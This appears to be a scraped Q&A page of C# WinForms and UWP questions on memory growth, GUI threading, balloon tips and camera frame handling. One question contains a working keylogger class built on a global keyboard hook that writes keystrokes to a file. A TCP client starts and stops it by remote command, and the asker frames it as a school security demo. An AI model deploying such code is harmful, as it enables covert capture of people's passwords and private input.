Why is this code consuming more and more ram? - c#

public partial class Form1 : Form
{
bool AfterDocumentCompleted = false;
int steps = 0;
public Form1()
{
InitializeComponent();
webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(DocCompletedHandlerCopy);
webBrowser1.ScriptErrorsSuppressed = true;
}
private void DocCompletedHandlerCopy(object sender, WebBrowserDocumentCompletedEventArgs e)
{
if (webBrowser1.ReadyState == WebBrowserReadyState.Complete && e.Url == webBrowser1.Url)
{
AfterDocumentCompleted = true;
}
}
private void NavigateAndWait(string urlString)
{
AfterDocumentCompleted = false;
webBrowser1.Navigate(urlString);
while (AfterDocumentCompleted == false) Application.DoEvents();
steps += 1;
label1.Text = string.Format("{0:00000} / {1}MB", steps, Environment.WorkingSet / (1024 * 1024));
}
private void button1_Click(object sender, EventArgs e)
{
while (true)
{
NavigateAndWait("http://www.crucial.com/");
NavigateAndWait("http://www.google.com/");
NavigateAndWait("http://www.microsoft.com/");
NavigateAndWait("http://www.stackoverflow.com/");
NavigateAndWait("http://www.yahoo.com/");
}
}
}
When I click Button1 (so it calls button1_Click) and wait for about 1 hr, the ram consumed according to Task Manager and label1 is about 1000MB (is about 20MB as soon as I click it and the rate of grow is somewhat linear). Is the WebBrowser some kind of alpha version of a browser that is not supposed to be used at all by anyone, or am I doing something wrong. If you wonder why in the world do I want to navigate for ever to those pages, this is just the isolation of a problem I was having (see my other question here).
Edit: About a week ago I installed and uninstalled IE9 beta. I think that might have originated the problem. Just tested it on a Windows Vista IE8 and it didn't grow any bigger than 80-90MB. I'll just reinstall Windows and I hope I don't need to downgrade to Windows Vista.
Edit2: I finally found the cause of the problem. It was not IE9 beta. It was the fact that I set IE not to show any pictures. I thought not showing pictures would make navigation faster and lighter, but apparently it activated some bug and the memory consumed started growing like crazy. Still, with pictures the memory grows but a lot slower.

and wait for about 10 minutes, the ram consumed according to Task Manager is about 200MB
200 MB is not a lot
TaskManager is not suitable for measuring memory use
The WebBrowser you use through the control is IE. It will consume quite a bit of memory, mostly to cache content. But you don't really have a problem with memory.
Additional:
I ran your App and changed only this method (add Label1) :
int counter = 0;
private void NavigateAndWait(string urlString)
{
AfterDocumentCompleted = false;
webBrowser1.Navigate(urlString);
while (AfterDocumentCompleted == false) Application.DoEvents();
counter += 1;
label1.Text = string.Format("{0:000} {1}", counter,
Environment.WorkingSet/ (1024*1024));
}
When I let it run for a while Memory stabilizes at a 75-85 MB range.
In a comment you mention 1.6 GB, that is a problem. But that was not with this code. So you have a start: look for the differences.
Edit 2
Upgrade your version of IE. I am running this with Vista/32 and IE8 and the WorkingSet won't go over 90MB. (600 pages)

or am I doing something wrong
Well, this is not going to be a good idea:
while (AfterDocumentCompleted == false) Application.DoEvents();
You're introducing reentrancy and a tight loop in the high priority UI thread. I don't know to what extent that will hamper the garbage collector, but I wouldn't be surprised if it did. Basically you're abusing the UI thread, which is bound to cause oddities. (As Henk says, 200MB in 10 minutes isn't exactly a runaway resource leak anyway.)
This just isn't a good idea. "Isolating" a problem by adding code like this isn't going to help.
You already have a DocumentCompleted handler... why not use that to navigate to the next page, instead of this tight loop?

I'm not sure why it would be unclear why you are using lots of memory; you are reloading web pages over and over again endlessly. Right now my browser is using 140megs of memory, and I'm not reloading pages constantly.

Related

Notifyicon.BalloonTip not showing properly

I have a notifyIcon that I want to use in WinForms app, to show balloonTips to the user on certain events / issues.
It worked fine, and then I made changes to the application that I cannot see could have influenced the workings of the BalloonTip, but now the balloonTip does not pop up.
The NotifyIcon.Icon appears in the task bar and if you keep looking at the taskbar you briefly see the icon in there (like it flashes), but the actual BalloonTipText and title don't appear
here is the code I am using.
private void SetBalloonTip(String BalloonMessage, bool isError)
{
AppTips.Icon = SystemIcons.Exclamation;
AppTips.BalloonTipTitle = "Attention";
AppTips.BalloonTipText = BalloonMessage;
AppTips.Visible = true;
if (isError)
{
AppTips.BalloonTipIcon = ToolTipIcon.Error;
}
else
{
AppTips.BalloonTipIcon = ToolTipIcon.Info;
}
AppTips.ShowBalloonTip(300000);
}
whenever I want to show a BalloonTip Message I call the above method.
I have played around with the timeout as I read on other threads it could be a possible issue, but increasing nor decreasing it made any difference.
I also added Thread.Sleep before calling the SetBalloonTip method, thinking that maybe the method is called too quickly in succession, but that did not make a difference either.
There are limits on the length of BalloonTipText and BalloonTipTitle on some versions of Windows (but not on others, Windows 10 supports any length for example):
NotifyIcon.BalloonTipText max length of 255 characters
NotifyIcon.BalloonTipTitle max length of 63 characters
Make sure your text does not violate these limitations to have it display properly.

UWP Windows 10 App memory increasing on navigation

I have a UWP Windows 10 App and noticed the memory usage in task manager is increasing over time.
I stripped the App back and found the memory is increasing when the navigating pages. So I made a simple app with just a few pages to test and the memory is still increasing in this simple App. I have a MainPage that navigates a frame from Page1 to Page2 and back on a timer.
public sealed partial class MainPage : Page
{
private DispatcherTimer _timer;
private bool _page1Showing;
private bool _timerRunning;
public MainPage()
{
this.InitializeComponent();
_timer = new DispatcherTimer();
_timer.Interval = new TimeSpan(0, 0, 0, 0, 200);
_timer.Tick += _timer_Tick;
}
private void _timer_Tick(object sender, object e)
{
GC.Collect();
this.rootFrame.BackStack.Clear();
this.rootFrame.ForwardStack.Clear();
if (_page1Showing)
{
this.rootFrame.Navigate(typeof(Page2));
_page1Showing = false;
}
else
{
this.rootFrame.Navigate(typeof(Page1));
_page1Showing = true;
}
}
private void Button_Click(object sender, RoutedEventArgs e)
{
if (_timerRunning)
{
_timer.Stop();
_timerRunning = false;
}
else
{
_timer.Start();
_timerRunning = true;
}
}
}
Page1 and Page2 are empty pages with a grid with a background color so you can see the navigation. While this App runs the memory usage in task manager increases by around 1MB every 30 mins.
I have run the App using the memory diagnostics in VS2015 the Managed heap is as expected:
The heap is always increasing:
Comparing snapshots of the Heap shows:
I am confused what these McgInterop objects are? and why such a simple App is always increasing in memory usage. My main App needs to run for a long time (months+). Appreciate any help.
I have tried changing the pages NavigationCacheMode, if set to Required the pages are created once. If set to disabled the Pages are created every time, and I checked the finalizer is called as expected.
--
Edit: I added a button to start and stop the timer (updated the above). It seems that while the timer is running the memory usage in Task manager will increase, when the timer is stopped the memory usage eventually drops.
I measured the memory usage in task manager over a day starting and stopping the timer around every 2 hours as follows, it slowly increases and then drops at some point:
12.5 -> 17.1 -> 16.7 -> 13.9 -> 16.8 -> 22.5 -> 13.6 -> 14.6 -> 24.9 -> 15.2
So I guess everything is working fine? But I am not clear what is happening here, why is it increasing so much? When is it being free'd under what conditions?
Is the system delaying releasing memory while pages are navigating? when the user would normally be interacting with the screen?
Every time you navigate to a Page, you create a new instance of Page, but the previous Page is not disposed (even if the Page is already in the navigation stack).
To prevent multiple allocation of same page, set NavigationCacheMode="Enabled" attribute to the Page.
Also, to minimize the memory allocation, you must override method OnNavigatedTo and OnNavigatedFrom.
In OnNavigatedTo method:
Instantiate all memory intensive object or resources
Add all events handlers you need
starts all timers, tasks or threads
In OnNavigatedFrom:
Dispose all resources
Stops all timers, tasks or threads
Remove references from all heavy objects
Remove all events handlers
Only if you really need, call GC.Collect()
Can we see your xaml code? Are you using x:name in your xaml and is that being destroyed? If so that might cause your memory leak.
Look at this link if you are using x:name:
http://support.scichart.com/index.php?/News/NewsItem/View/21/wpf-xname-memory-leak--how-to-clear-memory-in-scichart
Of course a UWP may handle x:name differently...
I have seen the same problem on w8.1 with printingInline using charmBar it's consuming a lot of memory until crash of the application (1.5 GB). but normaly you don't need GC.colect() it's work automaticly .

What is the correct way to update a GUI in a multi-threaded Winforms app?

I have a C# multi-threaded app with a bunch of worker threads in different pools all calling this function to update a textbox in a WinForms app.
It has a very subtle bug (or maybe not if you know what you are doing) that results in an Out-Of-Memory exception over a long period of time (I think because the stack never gets to unroll, but I'm not sure).
What is the correct way to update a textbox from any thread in my app without encountering this issue? The root problem is Application.DoEvents, but I don't know how to force a GUI update without it (if I take it out, the GUI never updates).
Ideally the solution would be a function that I can call from any thread that just does the right thing.
private void WriteStatus(string s)
{
if (textBoxStatus.InvokeRequired)
{
textBoxStatus.Invoke(new Action<string>(WriteStatus), new object[] { s });
}
else
{
StringBuilder sb = new StringBuilder(s + Environment.NewLine);
sb.Append(textBoxStatus.Text.Substring(0, textBoxStatus.Text.Length > 40000 ? 40000 : textBoxStatus.Text.Length));
textBoxStatus.Text = sb.ToString();
// don't call DoEvents more than once a second - this prevents stack over flow from frequent updates
if (DateTime.Now - lastGUIUpdate > TimeSpan.FromSeconds(1))
{
Application.DoEvents();
lastGUIUpdate = DateTime.Now;
}
}
}
I've looked at other SO solutions for this problem, but they seem to ignore the Application.DoEvents step. How are they forcing their GUI to update in this circumstance? In my app commenting this line out fixes my memory problems, but my textbox never updates.

Memory stack-up issue with Aforge and Windows Forms

I am experiencing a strange memory stack-up in my c# windows form program that occurs all the time on slow PCs, and when the windows form loses focus or is otherwise interrupted on faster PCs.
The program I have written uses Aforge to get images from my webcam, which I then display in an Aforge picturebox control (CurrImagePic in code) in the windows form. The images are switched into the picture box and then disposed at the camera's native framerate, so it appears as video to the user, not still images. The picture box is 1080x1920, but the space for it in the form is smaller and so I allow the user to scroll around the picture.
After about ~30 seconds of memory-stable operation on slower PCs, the problem begins. On faster PCs, the problem only occurs when holding down scroll bar arrows or clicking and dragging around either scroll bar, and if I lock the PC or bring up the Ctrl+Alt+Delete menu.
The problem itself is that memory used by the program starts to increase in very large chunks, leading to an out of memory crash. This is unstoppable on slower PCs, but on the faster PCs if you stop scrolling or return from the lock/Ctrl+alt+delete menu, the program stabilizes at the higher memory usage level. The memory that was accrued during scrolling or while in the lock menu is never collected by the garbage collector. I've even tried to put in a button that forces a GC.collect() when pressed, and it does not reduce this memory usage.
I've run perfmon and found that the memory increase is on the unmanaged heap, but I don't know if it's coming from bitmaps which are not being disposed or what it could be from. It's been impossible to track down since it does not occur except in the above conditions. I've tried various solutions (like moving my image processing out of the event handler and even using both global flags and a "lock" statement to try and ensure that only one thread or frame can access the image processing and displaying method at at time, but I have seen no change. In fact, I am now seeing some unexplained small jumps in memory usage that I wasn't seeing before I put in the lock and moved the processing out of the handler.
Has anyone run into situations like this? I am at a loss for what I need to fix, and I am not getting much help from the Aforge forums. I think the problem is based around my Aforge event handler and image processing method if it is in my code at all - but I also have a suspicion that this is something deeper in the windows form code that I am either misusing or that can't keep up with the demands of my code. Code below:
//Applicable Globals to this code snippet
private bool ALLOWFRAME = true;
private Object FRAMEKEY = new Object();
private VideoCaptureDevice COMPVID;
private Bitmap TMPLTCAP;
private System.Drawing.Image OLDIMAGE;
private bool RCRDPIC = false;
private void COMPVID_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
//Only process a frame when another is done processing
if (ALLOWFRAME == true)
{
ALLOWFRAME = false;
Bitmap PassFrame = AForge.Imaging.Image.Clone(eventArgs.Frame);
ProcessFrame(PassFrame);
PassFrame.Dispose();
}
}
private void ProcessFrame(Bitmap frameIn)
{
lock (FRAMEKEY)
{
if (OLDIMAGE != null) { OLDIMAGE.Dispose(); }
//Call comparison method if flag is set.
if (COMPON == true)
{
Difference TmpltFilter = new Difference(TMPLTCAP);
TmpltFilter.ApplyInPlace(frameIn);
OLDIMAGE = CurrImagePic.Image;
CurrImagePic.Image = AForge.Imaging.Image.Clone(frameIn);
OLDIMAGE.Dispose();
}
else
{
OLDIMAGE = CurrImagePic.Image;
CurrImagePic.Image = AForge.Imaging.Image.Clone(frameIn);
OLDIMAGE.Dispose();
//Toggle the flag back to false to show it's safe (i.e., comparisons have stopped)
//for the result-recording method to copy from the picture box if it is attempting to copy
if (RCRDPIC == true)
{
RCRDPIC = false;
}
}
ALLOWFRAME = true;
}
}
One approach that has often improved performance is to queue up he images in memory and use a timer control to dequeue/display them in a picture box. This way, you get control over proper disposal and allow the NewFrame event to return faster rather than being tied up in image processing.
Also, in the Timer_Tick event, try and do the following:
this.Timer.Stop();
Bitmap image = null;
var temp = this.PictureBox.Image;
lock (FRAMEKEY)
{
if (this.ImageQueue.Any())
{
image = this.ImageQueue.Dequeue();
if (temp != null) { temp.Dispose(); }
}
}
this.PictureBox.Image = image;
if (temp != null) { temp.Dispose(); }
this.Timer.Start();

Library works when called in Form1, but not from anywhere else

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.

Categories